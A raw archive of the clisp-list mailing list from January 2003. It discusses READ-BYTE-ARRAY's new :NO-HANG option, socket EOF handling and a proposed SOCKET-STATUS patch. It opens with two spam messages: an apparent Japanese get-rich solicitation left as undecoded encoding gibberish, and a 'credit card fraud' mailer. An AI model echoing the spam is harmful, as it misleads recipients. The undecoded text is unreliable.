=?iso-2022-jp?B?GyRCOiNHLyQzJD0jNTIvIzlAaUt8MV8lUyVDJS8lQSVjJXMlORsoQg==?= MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Subject: [clisp-list] =?iso-2022-jp?B?IBskQkwkPjVCejktOXAbKEI9GyRCIzUyLyM5QGlLfDFfPlo1ck0tPH1GfiVTJUMlLyVBJWMlcyU5GyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 24 08:25:05 2003 X-Original-Date: Thu, 23 Jan 2003 10:51:07 +0900 $B!!!!!!!!!!!!!!!!!!!!(B $B!!!!!!!!(B $BL$>5Bz9-9p(B $BH/9T=j!!A49q?.MQ?H85J]>Z6(2q!!9-JsIt!!#0#3!]#5#4#5#8!]#8#1#6#3(B $B!!!!!!!!!!!!!!!!!!:#8eG[I[ITMW$NJ}$O(Bhttp://orient-sky.com/deny.htm$B$K$F(B $B!!!!!!!!!!!!!!!!!!$*4j$$?=$7>e$2$^$9!#(B $B!!(B $B!y"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f!z(B $B!!!!!!(B $B#52/#9@iK|1_!!>Z5rM-!!%S%C%/:_Bp<}F~!!%A%c%s%9?7J9!a=i=U7nJs(B $B!!!!!!!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v(B $B!!!!(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $B!!(B $B!!(B $B!!!!!!!!!!!!!!!!!!!!4JC1$K(B $B=PMh$k!!!&!!:_Bp$G(B $B=PMh$k!*(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B"#:#$NITK~$O#2@iK|1_$G2r7h=PMh$k!*(B $B"##3G/8e$N4jK>$O#7@iK|1_$G2r7h=PMh$k!*(B $B"#O78e$NI,MW;q6b$O#3@iK|1_$G2r7h=PMh$k!*(B $B"#J]>Z$NHa7`$O#5@iK|1_3[LLJ]>Z>Z7t$G2r7h=PMh$k!*(B $B"#:_Bp!&7s6H!&M>2K!&<+Bp$+$iA49q$K!&%$%s%?!<%M%C%H!&MU=q!&#F#A#X$N(B $B!!$$$:$l$+Kt$O%;%C%H$GHkL)$K=PMh$k!*(B $B"#<}F~$O6d9T?69~$G=PMh$k!#(B $B"##H#P$r%@%&%s%m!<%I$7$F4JC1$K%$%s%?!<%M%C%HJ]>Z;v6H$N7P1D$,=PMh$k!*(B $B"##12/1_L\E*$G;O$a$?J}!9$G(B $B!!!V#22/1_! /1_!4/#9@iK|1_Ey$N<}F~B3=PZ>Z7t$r!"%$%s%?!<%M%C%H!&MU=q!&#F#A#X$NDL?.$@$1$GZ7t$O;EF~6b$J$7$GZ>Z7t$O!"El5~9bEy:[H==j$NH=7h=q$GJ]>Z?M$H3NDj$5$l$?!&K!E*:,!!5r$N$"$kF|K\$GM#0l$N#3#7G/$NNr;K$,$"$kJ]>Z>Z7t$GJ]>Z?M$N5_:Q$H!!!!8D?M$N<}F~$N0l5sN>F@$G=PMh$k!*(B $B"#<}F~$O#2Z5r$r3NG'=PMh$k!*(B $B!!#22/1_!"#32/1_!"#52/#9@iK|1_<}F~$OK\Ev$+$J!)$H;W$&?M$O@5>o$J?M!#(B $B!!>Z5r$r8+$k$^$G$O!"2?;v$b?.MQ$7$J$$!">Z5r$O6d9T0uM-?6!!9~=q$r3N$7!!!!$+$a$F$+$i3hF03+;O!"#32/1_L\;X$7$F!#>Z5r$K>!$k;vZ5r$N$J$$$N$OK\Ev$+13$+H=CG=PMh$J$$$+$i!">Z5r8+$;$k$O?.MQ=P!!!!Mh$k!#(B $B"#:[H==j$NH=7h=q$H6d9T0uM-$NJ*E*>Z5r$@$+$i0B?4$7$F=PMh$k!*(B $B!!!!!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z!!!!!y!!!!!z(B--$B!~(B--$B!z(B $B!|$3$A$i$+$i(B $B!!(B http://orient-sky.com/ $B!!L5NA$N;qNA$4@A5a$G$-$^$9!#(B $B!!!y!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y!y(B $B"%2<5-$NJ}!9$,"%(B $B"$!V#52/#9@iK|1_J]>Z>Z7t:_Bp7s6H%S%8%M%9!W$K;22C$7$F$$$^$9"$(B $B"##2@iK|1_0LCy6b=PMh$k%A%c%s%9$K7C$^$l$J$$J}!#(B $B"#L\E*$KI,MW$J;q6b$,F~e$K#3@iK|1_$OM_$7$$$,IT67$G;W$&$h$&$K$J$i$J$$J}!#(B $B"#O78e$N0B?4@83h;q6b$,$_DL$jF~e$N<}F~$r5a$a$F$$$kJ}!#(B $B"#;22C$7$F$$$kJ}!9!a6P$a?M!"<+1D6H!"0e#2#0:P0J>e$NCK=wB??t!#5.J}MM$N<+Bp$,!VA49q$KH/?.$9$kJ]>Z;v6H$N!!;vL3=j$G$9!#J]>Z>Z7t$OF|K\$G$O;O$a$F#3#7G/A0$KEv6(2q$,3+H/$7$^$7!!$?!#(B $B!!"!KL3$F;$+$i2-FlKx!&A49qE*$KJ]>Z3HBgCf!&J]>Z>Z7t$O#1#8; Fri, 24 Jan 2003 16:09:03 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server1.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0P06s57029836 for ; Fri, 24 Jan 2003 19:08:57 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200312468942clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 24 16:10:01 2003 X-Original-Date: Fri, 24 Jan 2003 19:09:02 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From sds@gnu.org Fri Jan 24 16:25:50 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18cE8s-0003fX-00 for ; Fri, 24 Jan 2003 16:25:50 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030125002543.GWWP16306.out005.verizon.net@loiso.podval.org>; Fri, 24 Jan 2003 18:25:43 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0P0QUSM030222; Fri, 24 Jan 2003 19:26:31 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0P0QUHx030218; Fri, 24 Jan 2003 19:26:30 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Fri, 24 Jan 2003 18:25:43 -0600 Subject: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 24 16:26:04 2003 X-Original-Date: 24 Jan 2003 19:26:30 -0500 There have been quite a few requests for read(2) interface. It is now available in the CVS head. when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a (VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and returns whatever is available: > (setq s (socket-connect 21 "ftp.gnu.org" :element-type '(unsigned-byte 8))) # > (setq v (make-array 20 :element-type '(unsigned-byte 8))) #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) > (read-byte-sequence v s :no-hang t) 20 > (convert-string-from-bytes v charset:ascii) "220 GNU FTP server r" > (read-byte-sequence v s :no-hang t) 7 > (convert-string-from-bytes v charset:ascii :end 7) "eady. " > (read-byte-sequence v s :no-hang t) 0 a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG, is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate incomplete output. maybe an extra return value? or maybe make it always return the same as READ-BYTE-ARRAY - the number of elements processed? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Growing Old is Inevitable; Growing Up is Optional. From kraehe@copyleft.de Fri Jan 24 19:31:44 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18cH2L-0002PM-00 for ; Fri, 24 Jan 2003 19:31:17 -0800 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout2.freenet.de with asmtp (Exim 4.10) id 18cH1q-0002C8-00; Sat, 25 Jan 2003 04:30:46 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.12 #2) id 18cH1q-0008J7-00; Sat, 25 Jan 2003 04:30:46 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18cHQh-000384-00; Sat, 25 Jan 2003 04:56:27 +0100 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument Message-ID: <20030125035627.GA11462@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 24 19:32:02 2003 X-Original-Date: Sat, 25 Jan 2003 04:56:27 +0100 Moin Sam Steingold, > There have been quite a few requests for read(2) interface. > It is now available in the CVS head. thats a reason to stay up, even if i just came back from the pub. i needed the following straight forward patch (dont know why its missing in cvs current) to compile it : cvs server: Diffing . Index: lispbibl.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v retrieving revision 1.346 diff -c -r1.346 lispbibl.d *** lispbibl.d 23 Jan 2003 22:39:30 -0000 1.346 --- lispbibl.d 25 Jan 2003 01:42:31 -0000 *************** *** 12617,12623 **** # > uintL len: length of byte sequence to be filled # < uintL result: number of bytes that have been filled # can trigger GC ! extern uintL read_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len); # is used by SEQUENCE # Function: Writes several bytes to a stream. --- 12617,12625 ---- # > uintL len: length of byte sequence to be filled # < uintL result: number of bytes that have been filled # can trigger GC ! extern uintL read_byte_array (const gcv_object_t* stream_, ! const gcv_object_t* bytearray_, ! uintL start, uintL len, bool no_hang); # is used by SEQUENCE # Function: Writes several bytes to a stream. and receive the following result on 'make check' installed it anyway, as this test did'nt looked like-my-bag ;-) Test failed: -rw-r--r-- 1 kraehe staff 571 Jan 25 03:01 strings.erg To see which tests failed, type cat /home/kraehe/AIlang/clisp-cvs/clisp/src/suite/*.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/bakunin/home/kraehe/AIlang/clisp-cvs/clisp/src/suite' make: *** [testsuite] Error 2 bakunin:~/AIlang/clisp-cvs/clisp/src $ cat /home/kraehe/AIlang/clisp-cvs/clisp/src/suite/*.erg Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL)) CLISP : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T)) bakunin:~/AIlang/clisp-cvs/clisp/src $ > when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a > (VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and > returns whatever is available: *cheer* this solved the read half of the problem *scratch* but not the eof half of the problem (defun mucl-test () (format t "waiting for connect~%") (unless serv (setq serv (socket-server 5555))) (setq sock (socket-accept serv :element-type '(unsigned-byte 8))) (setq buff (make-array 256 :element-type '(unsigned-byte 8))) (format t "waiting for input~%") (dotimes (n 1000) (setq stat (socket-status (list serv (cons sock :input)) 0 500000)) (format t "Status ~A~%" stat) (when (eq (cadr stat) :INPUT) (setq flag (read-byte-sequence buff sock :no-hang t)) (format t "Line: (~A) Flag:(~A)~%" buff flag) (when (<= flag 0) (return)) ))) this function works in so far, as now each read-byte-sequence is reading exactly the bytes that are there. Normal select()/read() polling would give a final select() condition with read()<=0, when the client closes its connection. Exactly this condition got lost somewhere. I think there must be some select() somewhere, that is silently called with the socket. But i walked the code down to read_helper in unixaux.d, and i was'nt able to see a select() that comes after the read() - so i'm clueless and tired now. a virtual beer, '~~~~~~~~~~` | | |~~~~~~~~~~| | . | | * | | . * | | Beck's | | * | \ . / / . \ |__________| Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Fri Jan 24 21:18:53 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18cIiT-0003Kc-00 for ; Fri, 24 Jan 2003 21:18:53 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030125051845.WNHI3094.out003.verizon.net@loiso.podval.org>; Fri, 24 Jan 2003 23:18:45 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0P5JYSM031578; Sat, 25 Jan 2003 00:19:35 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0P5JXDe031574; Sat, 25 Jan 2003 00:19:33 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument References: <20030125035627.GA11462@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030125035627.GA11462@bakunin.copyleft.de> Message-ID: Lines: 70 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.48.207] at Fri, 24 Jan 2003 23:18:45 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 24 21:19:03 2003 X-Original-Date: 25 Jan 2003 00:19:31 -0500 > * In message <20030125035627.GA11462@bakunin.copyleft.de> > * On the subject of "Re: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument" > * Sent on Sat, 25 Jan 2003 04:56:27 +0100 > * Honorable Michael Koehne writes: > > ! extern uintL read_byte_array (const gcv_object_t* stream_, > ! const gcv_object_t* bytearray_, > ! uintL start, uintL len, bool no_hang); oops! > Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT > #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF > (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO > S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN > (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST > (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST > (SYSTEM::STRING-INFO S))))) > CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL)) > CLISP : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T)) this is known - we are waiting for Bruno to fix this... > bakunin:~/AIlang/clisp-cvs/clisp/src $ who named your computer?! bakunin was an anarchist, right? > *scratch* but not the eof half of the problem > > (defun mucl-test () > (format t "waiting for connect~%") > (unless serv (setq serv (socket-server 5555))) > (setq sock (socket-accept serv :element-type '(unsigned-byte 8))) > (setq buff (make-array 256 :element-type '(unsigned-byte 8))) > (format t "waiting for input~%") > (dotimes (n 1000) > (setq stat (socket-status (list serv (cons sock :input)) 0 500000)) > (format t "Status ~A~%" stat) > (when (eq (cadr stat) :INPUT) > (setq flag (read-byte-sequence buff sock :no-hang t)) > (format t "Line: (~A) Flag:(~A)~%" buff flag) > (when (<= flag 0) (return)) ))) > > this function works in so far, as now each read-byte-sequence > is reading exactly the bytes that are there. Normal select()/read() > polling would give a final select() condition with read()<=0, > when the client closes its connection. Exactly this condition > got lost somewhere. I think there must be some select() somewhere, > that is silently called with the socket. But i walked the code down > to read_helper in unixaux.d, and i was'nt able to see a select() that > comes after the read() - so i'm clueless and tired now. I might not be answering your question (and I am still not sure what the question is :-), but I observe that after I close the telnet connection to clisp, the wait in socket-status disappears and it returns (NIL NIL) immediately. this is because, as select(2) man page says: Those listed in readfds will be watched to see if characters become available for read- ing (more precisely, to see if a read will not block - in particular, a file descriptor is also ready on end-of-file), i.e., when I close telnet, SOCK receives end-of-file and select return right away. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A poet who reads his verse in public may have other nasty habits. From sds@gnu.org Sat Jan 25 18:52:41 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ccuX-0006Eh-00 for ; Sat, 25 Jan 2003 18:52:41 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030126025229.GRY3094.out003.verizon.net@loiso.podval.org>; Sat, 25 Jan 2003 20:52:29 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0Q2rWSM005386; Sat, 25 Jan 2003 21:53:32 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0Q2rV24005382; Sat, 25 Jan 2003 21:53:31 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 77 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.48.207] at Sat, 25 Jan 2003 20:52:28 -0600 Subject: [clisp-list] proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 25 18:53:03 2003 X-Original-Date: 25 Jan 2003 21:53:31 -0500 SOCKET-STATUS is different from select(): it returns non-NIL when the the corresponding operation would be successful. I.e., it returns NIL at EOF. we can make SOCKET-STATUS distinguish between WAIT and EOF conditions and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies instead of 4). please try the appended patch. note that this change is __NOT__ backwards compatible. if you do not like the change please do voice your opinion ASAP! Another thing I always disliked about SOCKET-STATUS is that it conses up a new list whenever it is called on a list of objects (the usual case with most applications). What about making it modify the list it accepts? i.e., if the list is ((socket1 direction1) (socket1 direction2) ...) then it will destructively modify it and return it like this: ((socket1 direction1 . status) (socket1 direction2 . status) ...) then this same list can be passed to SOCKET-STATUS again. this change will be backwards compatible because now the element of the list must be a cons (socket . direction), so the new argument would just signal an error on '(direction) being and invalid direction spec. do people want it? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Computers are like air conditioners: they don't work with open windows! --- stream.d.~1.337.~ 2003-01-24 19:07:53.000000000 -0500 +++ stream.d 2003-01-25 11:41:35.000000000 -0500 @@ -14909,7 +14909,8 @@ object sock = (consp(socket) ? (object)Car(socket) : socket); direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO); SOCKET in_sock = INVALID_SOCKET, out_sock = INVALID_SOCKET; - bool char_p = true, rd = false, wr = false; + bool char_p = true, wr = false; + signean rd = ls_wait; stream_handles(sock,true,&char_p, READ_P(dir) ? &in_sock : NULL, WRITE_P(dir) ? &out_sock : NULL); @@ -14917,17 +14918,17 @@ if (FD_ISSET(in_sock,errorfds)) return S(Kerror); if (socket_server_p(sock)) return FD_ISSET(in_sock,readfds) ? T : NIL; - rd = FD_ISSET(in_sock,readfds) - && (ls_avail_p(char_p ? listen_char(sock) : listen_byte(sock))); + if (FD_ISSET(in_sock,readfds)) + rd = (char_p ? listen_char(sock) : listen_byte(sock)); } if (out_sock != INVALID_SOCKET) { if (FD_ISSET(out_sock,errorfds)) return S(Kerror); wr = FD_ISSET(out_sock,writefds); } - if ( rd && !wr) return S(Kinput); - else if (!rd && wr) return S(Koutput); - else if ( rd && wr) return S(Kio); - else return NIL; + if (ls_avail_p(rd)) return wr ? S(Kio) : S(Kinput); + if (ls_eof_p(rd)) return wr ? S(Kappend) : S(Keof); + if (ls_wait_p(rd)) return wr ? S(Koutput) : S(Kwait); + NOTREACHED; } #undef READ_P #undef WRITE_P From don-sourceforge@isis.cs3-inc.com Sun Jan 26 13:15:49 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18cu85-0007g7-00 for ; Sun, 26 Jan 2003 13:15:49 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0QLEJj06349 for clisp-list@lists.sourceforge.net; Sun, 26 Jan 2003 13:14:19 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15924.20395.270701.517255@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 26 13:16:03 2003 X-Original-Date: Sun, 26 Jan 2003 13:14:19 -0800 > we can make SOCKET-STATUS distinguish between WAIT and EOF conditions > and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies > instead of 4). Previous values were nil, io, input, output, error (5, not 4). I gather io, input and output mean the same as before? So nil,error now map to append, eof, wait? Could you please tell us what those new values mean? I suppose I should be able to tell from the diff ... if I knew what all the c functions meant! It looks like nil -> wait ? Under what circumstances does that occur? (I never understood when nil would be returned either.) It seems to me that a socket stream has two different eof's - Each side can close the direction from itself (by sending a FIN). Does append mean that you've reached eof on input but not output? I suppose when both are closed then the stream is closed, and at that point you get what value? Before it would have been error? I gather at least one goal here is to distinguish between not being able to read/write temporarily vs permanently. That would suggest instead of encoding two values for each of two directions you want three values for two directions, which already gives 9 values. But then there's this funny nil/wait thing. Is that also possible in each direction (giving 16)? or just a 10'th value? Of course, there's the whole can of worms with multibyte characters to worry about, but I'll not even think about that yet. > note that this change is __NOT__ backwards compatible. > if you do not like the change please do voice your opinion ASAP! Perhaps it could be made backward compatible? > Another thing I always disliked about SOCKET-STATUS is that it conses up > a new list whenever it is called on a list of objects (the usual case > with most applications). On this one I agree. > What about making it modify the list it accepts? > i.e., if the list is > > ((socket1 direction1) > (socket1 direction2) > ...) > > then it will destructively modify it and return it like this: > > ((socket1 direction1 . status) > (socket1 direction2 . status) > ...) > > then this same list can be passed to SOCKET-STATUS again. Good, then what you meant to say above was: if the list is ((socket1 direction1 . x) ...) it will replace x with the new status. From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 27 02:29:09 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18d6Vn-0008Hs-00 for ; Mon, 27 Jan 2003 02:29:07 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Mon, 27 Jan 2003 11:27:09 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jan 2003 11:27:08 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01869B39@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument + RFE: how much could ext:convert-from-string process? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 27 02:30:02 2003 X-Original-Date: Mon, 27 Jan 2003 11:27:00 +0100 Hi, Sam wrote: >when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a >(VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and >returns whatever is available: There's progress. No-hang is misleading, as it depends on the programmer having set non-blocking-mode on this socket. This is not strictly necessary when using select()/poll() loops. The call may well hang. I believe the next thing that people will ask for is how to deal with multibyte encodings. I think that EXT:CONVERT-STRING-FROM-BYTES should return an extra value (like PARSE-INTEGER) to indicate whether it could process everything (NIL, as for typical :END convention) or stopped earlier (index, as in PARSE-INTEGER, usable as :END or :START) because it hit an incomplete character. So people could combine partial (or no-hang) reads and conversion to characters and produce correct sequences. Note that this does not solve CRLF issues. Converting "A" can be considered complete (Mac style), but processing the following "B" must not yield two lines. >a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG, >is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate >incomplete output. maybe an extra return value? Sounds reasonable. >or maybe make it always return the same as READ-BYTE-ARRAY - >the number of elements processed? That's too late, as this function has been available for many years and documented as returning the sequence. An extra value is the only option. Unless you introduce a new function, which is not your favourite choice (you prefer adding keywords). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 27 08:01:36 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dBhW-00024i-00 for ; Mon, 27 Jan 2003 08:01:34 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with 